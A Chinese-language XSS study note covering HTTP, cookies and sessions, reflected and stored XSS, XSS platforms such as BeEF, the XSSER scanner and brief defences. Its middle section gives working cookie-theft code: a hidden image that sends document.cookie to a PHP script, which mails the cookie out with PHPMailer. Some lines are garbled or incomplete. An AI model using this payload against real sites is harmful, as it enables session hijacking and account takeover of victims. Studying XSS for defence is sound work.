网页脚本注入XSS漏洞
内容为学习笔记,如有侵权,联系删除
XSS漏洞之学前基础
http协议回顾
HTTP请求方式
常用:
方法 | 作用 |
---|---|
GET | 请求从服务器获取资源 |
HEAD | 类似于 GET 请求,只不过不会返回实体数据,只获取报头 |
POST | 向服务器提交数据 |
PUT | 替换服务器的内容 |
不常用:
方法 | 作用 |
---|---|
DELETE | 请求服务器删除指定的资源 |
TRACE | 对链路进行测试或诊断 |
OPTIONS | 列出可对资源实行的操作方法,A1low 字段里返回 |
CONNECT | 要求服务器和另一台服务器建立连接,充当代理 |
HTTP请求格式
POST /article/1001.html HTTP 1.1 //请求方法+请求url+HTTP协议版本
Accept: image/jpeg, application/x-ms-application, ...,*/* //代表能够接收服务端什么数据类型的返回
Referer: http://localhost:8080/article/1000.html //代表这次请求是在哪个地址跳转过来的
Accept-Languce: zh-CNUser //代表能够接收的服务器语言的类型
Agent: Mozilla/4.0(compatible;MSIE 8.0, Windows NT 6.1:Content-Type: application/x-www-form-urlencoded //用于标识发送请求的客户端应用程序、设备或浏览器的身份信息,以便服务器根据用户代理的特征来优化响应或进行其他处理。
Host: localhost:8080 //用于指定目标服务器的主机名或IP地址,以便服务器正确处理请求并将其发送到正确的目标主机
Content-Length: 112 //主体字节长度
Connection: Keep-Alive //用于控制TCP连接的状态,可以指示是否保持持久连接或关闭连接。keep-alive保持,close完成后关闭
Cache-Control: no-cache //控制缓存行为,包括缓存有效性、存储与否、最大存储时间等参数
Cookie: JSESSIONID=46A877D8989FE6789AD8B78FE86A78
//上面都是请求头
name=wuya&password=123456 //请求体
http响应格式
HTTP 1.1 200 0K //协议、版本、状态码、描述
Server: Nginx 1.18
Content-Type: application/json
Transfer-Encoding: chunked
Date: Fir, 14 May 2021 14:48:22 GMT
//上面是响应头
{"password""123456","userName"."wuya","birthday":null'salary":0,"realName"."wuyanzu","userld"."1000","dept"."teach"} //响应体
F12网络中就可以看到
HTTP特点
- 请求应答模式
- 灵活可扩展
- 可靠传输(工作在应用层,三次握手四次挥手)
- 无状态 stateless(客户端每一次请求都是完全独立的)
客户端Cookie
第一次登陆后服务端以set-cookie方式下发cookie,在登陆后的访问中都可以使用该cookie而不需要重复登陆,cookie里面有一些标志性信息,如什么时候过期(expires、max-age)后者优先生效,用户信息和对什么网页生效(path)等,在url上面锁的标志即可查看。不同浏览器各自管理自己的cookie,互不干扰;
set-cookie格式:
参数 | 描述 |
---|---|
name | 必需,cookie的键值对的名称 |
value | 必需,cookie的键值对的值 |
expires | cookie的过期时间 |
max-age | cookie多久过期(单位是秒) |
domain | cookie对哪个域名生效 |
path | cookie匹配的路径 |
secure | 只有HTTPS连接,才发送cookie到服务器 |
httponly | 不允许通过脚本document.cookie去更改这个值 |
有过期时间的保存在磁盘上,没过期时间也不是永久有效,只要结束浏览器任务就会失效,也可以保存在内存里面
谷歌的cookie存放在…/Google/Chrome/User Data/Default/coookies中
特点
- 1、明文
- 2、可修改
- 3、大小受限(视浏览器而定)
用途
- 记住用户登陆状态
- 跟踪用户行为
服务端Session
Cookie的问题:下发过多占用客户端过多的存储空间,增加通信成本
Session把客户信息存储在服务端,给客户下发一个SESSIONID的cookie,每次访问只需提供id就可以知道所有的信息。
session可以保存在磁盘或内存里面(有一个配置)
过程
代码实现
// 开启会话,产生sessionid
session_start();
if(isset($_POST['login']))
{
$username = trim($_POST['username']);
$password = trim($_POST['password']);
if(($username=='')||($password==''))
{
header('refresh:3;url=login.html');
echo "用户名或密码不能为空,3秒后跳转到登录页面";
exit;
}
销毁
session_start();
//清除session
$username=$_SESSION['username'];
$_SESSION=array();
session_destroy();
//清除cookie
setcookie("username",'',time()-1);
setcookie("code",'',time()-1);
echo "拜拜, $username, 欢迎下次光临";
echo "重新<a href='login.html'>登录</a>";
区别
JavaScript操作cookie
可以使用别的地方的cookie导入到自己的电脑浏览器上直接登陆
插件:cookie-editor,可以用export导出cookie,然后在另一个浏览器使用同一插件import导入cookie,就可以实现欺骗越权
那么如何远程获取到他人的cookie?XSS
JavaScript对cookie增删改查语法
- 客户端读取cookie :alert(document.cookie);
- 客户端增加cookie:document.cookie=“username=wuya”;
- 客户端可以使用F12,Console里面直接执行JavaScript代码
- 修改:新建一个同名的cookie,覆盖原来的cookie(属性必需一致)
- 删除:把过期时间设置为比当前时间早的时间,setcookie(“username”,‘’,time()-1);
XSS漏洞之成因
恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击的目的。
测试方法:
<script>alert("RWEB666")</SCRIPT> //弹出RWEB666
可以使用GET请求
http://localhost/xss/get.html?url=javascript:alert("RWEB666")
XXS漏洞之类型
反射型(dom)
个人愚见:就是每次都需要去进行代码注入,注入后才可以去执行,执行后下一次需要的时候再去注入,就是每一次都进行注入才能进行执行,所以叫做反射型
反射型xss需要诱导用户去输入payload:<script>alert("RWEB666")</SCRIPT>
或者访问目标url:http://localhost/xss/get.html?url=javascript:alert("RWEB666")
才能够获取目标用户cookie
存储型
个人愚见:就是服务器会把这个恶意代码存储到服务端,那么每个用户访问都会获得该用户的信息,比如说留言界面等,能存储起来
存储型的一个例子:
在一个登陆界面,我可以去注册一个账号,然后我在用户名位置输入特殊的JavaScript代码,注册成功后这段代码就会带入数据库保存起来,那么如果某个用户或管理员进行了我的用户的查询,那么浏览器返回数据,那么服务端就会将这段代码解析执行拿到查询的用户或管理员的cookie等信息
XSS漏洞之获得cookie发送邮件
这是获取cookie代码并发执行发送邮件脚本代码mail.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);
这是发送邮件代码sendmail.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
require 'phpmailer/src/Exception.php';
require 'phpmailer/src/PHPMailer.php';
require 'phpmailer/src/SMTP.php';
$mail = new PHPMailer(true); // Passing `true` enables exceptions
try {
$cookie = $_GET['mycookie'];
if(isset($_GET['mycookie'])){
// 服务器配置
// !!! 注意PHP版本必须为7
$mail->CharSet ="UTF-8"; //设定邮件编码
$mail->SMTPDebug = 0; // 调试模式输出
$mail->isSMTP(); // 使用SMTP
$mail->Host = 'smtp.qq.com'; // SMTP服务器
$mail->SMTPAuth = true; // 允许 SMTP 认证
$mail->Username = '3499590161@qq.com'; // SMTP 用户名 即邮箱的用户名
$mail->Password = '你的授权码'; // SMTP 密码 部分邮箱是授权码(例如163邮箱)
$mail->SMTPSecure = 'ssl'; // 允许 TLS 或者ssl协议
$mail->Port = 465; // 服务器端口 25 或者465 具体要看邮箱服务器支持
$mail->setFrom('3499590161@qq.com', 'wuya'); //发件人
$mail->addAddress('3499590161@qq.com', 'wuya'); // 收件人
//$mail->addAddress('ellen@example.com'); // 可添加多个收件人
$mail->addReplyTo('3499590161@qq.com', 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致
//$mail->addCC('cc@example.com'); //抄送
//$mail->addBCC('bcc@example.com'); //密送
//发送附件
// $mail->addAttachment('../xy.zip'); // 添加附件
// $mail->addAttachment('../thumb-1.jpg', 'new.jpg'); // 发送附件并且重命名
//Content
$mail->isHTML(true); // 是否以HTML文档格式发送 发送后客户端可直接显示对应HTML内容
$mail->Subject = 'cookie' . time();
$mail->Body = $_GET['mycookie'];
$mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';
$mail->send();
echo '邮件发送成功';
}
} catch (Exception $e) {
echo '邮件发送失败: ', $mail->ErrorInfo;
}
只需要在网页注入代码
<script>alert(src=)</SCRIPT>
XSS漏洞之绕过
-
标签
XSS漏洞之危害
- 盗用账号,账号劫持:获取到cookie可以直接登陆到目标用户,从而进行盗用等操作
- 钓鱼:用户点击后提示输入用户名和密码,用户以为是该网页的信息录入,实际上是我们盗用的
- 键盘敲击记录:收录实时的用户键盘敲击记录等
- 弹广告
- 传播蠕虫病毒
XSS漏洞之XSS平台
-
皮卡丘有自带的xss平台
-
也可以使用在线的xss平台
超强的默认模块,keep session是在服务端不要过期,获取cookie只用这个模块就可以了
-
还有其他模块都可以使用
-
kali内也自带xss平台,叫做beef -xss
直接使用beef -xss命令启动,然后把Example注入到某个地方,然后直接访问给出的url登陆
默认用户名是beef,密码是123456,可以获取到浏览器的一些信息等包括commands等操作
非常强大
XSS漏洞之检测
自动化检测工具XSSER:https://xsser.03c8.net/
可以使用kali安装,直接输入xsser会提示安装
命令:
xsser -u "目标url" --cookie=xxx //有登录的可以加一个有效cookie
图形化界面
xsser -gtk
XSS漏洞之防御方法
- 输入内容过滤,正则表达式,识别,处理(替换成别的),返回(可以对返回内容进行转义)
- WAF:mod_security等